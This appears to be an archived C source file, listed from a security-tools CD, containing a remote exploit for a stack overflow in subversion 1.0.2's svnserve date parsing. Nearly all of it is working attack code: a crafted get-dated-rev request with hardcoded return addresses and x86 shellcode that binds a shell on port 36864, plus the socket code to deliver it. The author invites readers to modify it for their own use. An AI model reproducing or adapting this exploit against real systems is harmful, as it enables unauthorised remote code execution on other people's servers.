home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / concurrentVersionSystem / subversion / subexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  158 lines

  1. /* subversion-1.0.2 exploit by Gyan Chawdhary ...
  2. * exploits a stack overflow in the svn_time_from_cstring() function. We build
  3. * a date format which is valid but at the same time exits after the sscanf
  4. * function, or else it branches into another function which segfaults at the
  5. * apr_pool_t *pool. We overwrite our eip with a pointer to the main *data
  6. * buffer stored in the heap where our shell code is stored in the main request
  7. * itself. This is cause the local stack space for svn_time_from_cstring is
  8. * small. Will bind a shell on 36864 port. Modify it for ur own usage.
  9. *
  10. * boring exploit for a boring vulnerability
  11. * Gyan
  12. */
  13.  
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include <unistd.h>
  19.  
  20. #include <sys/socket.h>
  21. #include <netinet/in.h>
  22. #include <sys/types.h>
  23.  
  24. #define BUF_SIZE ( 1024 * 2 )
  25. #define TRUE 1
  26. #define FALSE 0
  27. #define PORT 3690 /* Default svnserve Port */
  28. #define IP "127.0.0.1"
  29. #define CMD "/bin/uname -a ; id ;\r\n";
  30.  
  31. struct targets {
  32. char *os;
  33. unsigned int *eip;
  34. unsigned int *shell_nop;
  35. };
  36.  
  37. /*struct targets TARGETS[] =
  38. {
  39. { "Redhat 8.0 - (Psyche)",
  40. */
  41. char offset1[] = "\x78\x32\x06\x08"; // 0x8063278 + 88 + 12;
  42. char offset2[] = "\xdc\x32\x06\x08"; // 0x80632dc
  43.  
  44. int sockfd;
  45.  
  46. char request1[] = "( 2 ( edit-pipeline ) %d:%s )\n";
  47.  
  48. char request2[] = "( ANONYMOUS ( 0: ) )\n";
  49.  
  50. char request3[] = "( get-dated-rev ( 314:aaaaaaaa%saaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%saaaaaaaa%saaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 4 a tttt 16:24:23.111 (day 277, dst 1, gmt_off -18000) ) )\n";
  51.  
  52. char request4[] = "( check-path ( 0: ( 0 ) ) )\n";
  53.  
  54.  
  55. /* p_types */
  56. void xp_connect(char *);
  57. char *build_request(char *);
  58. void talk(char *, char *);
  59.  
  60.  
  61. char shellcode[] =
  62. "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
  63. "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
  64. "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
  65. "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
  66. "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
  67. "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
  68. "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
  69. "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
  70. "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
  71.  
  72.  
  73. void xp_connect(char *ip)
  74. {
  75. // int sockfd;
  76. struct sockaddr_in s;
  77. char buffer[1024];
  78. char temp[1024];
  79. int tmp;
  80.  
  81. s.sin_family = AF_INET;
  82. s.sin_port = htons(PORT);
  83. s.sin_addr.s_addr = inet_addr(IP);
  84.  
  85. if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  86. {
  87. printf("Cannot create socket\n");
  88. exit(-1);
  89. }
  90.  
  91. if((connect(sockfd,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
  92. {
  93. printf("Cannot connect()\n");
  94. exit(-1);
  95. }
  96. memset(temp, '\0', sizeof(temp));
  97. tmp = recv(sockfd,temp,1024,0);
  98.  
  99. }
  100.  
  101. void talk(char *ip, char *repo)
  102. {
  103. char buffer[1024], request[1024], tmp[512];
  104. static char string[] = "svn://%s/%s";
  105. int size;
  106. char *str;
  107.  
  108. sprintf(buffer, string, ip, repo);
  109. size = strlen(buffer);
  110. sprintf(request, request1, size, buffer);
  111.  
  112. xp_connect(ip);
  113.  
  114. if (send(sockfd, request, strlen(request), 0) < 0)
  115. {
  116. printf("send() failed\n");
  117. exit(-1);
  118. }
  119. recv(sockfd, tmp, 512, 0);
  120.  
  121. if (send(sockfd, request2, strlen(request2), 0) < 0)
  122. {
  123. printf("send() failed\n");
  124. exit(-1);
  125. }
  126. recv(sockfd, tmp, 512, 0);
  127.  
  128. str = build_request(shellcode);
  129.  
  130. if(write (sockfd, str, strlen(str)) < 0)
  131. {
  132. printf("write() failed\n");
  133. exit(-1);
  134. }
  135.  
  136. close(sockfd);
  137. //connect_target();
  138. }
  139.  
  140.  
  141.  
  142. char *build_request(char *sc)
  143. {
  144. char *buffer, *ptr;
  145. buffer = (char *)malloc(1024);
  146. ptr = buffer;
  147. sprintf(ptr, request3, offset1, offset2, sc);
  148.  
  149. return buffer;
  150. }
  151.  
  152.  
  153.  
  154. main(int argc, char **argv)
  155. {
  156. talk(IP, "cool");
  157. }
  158.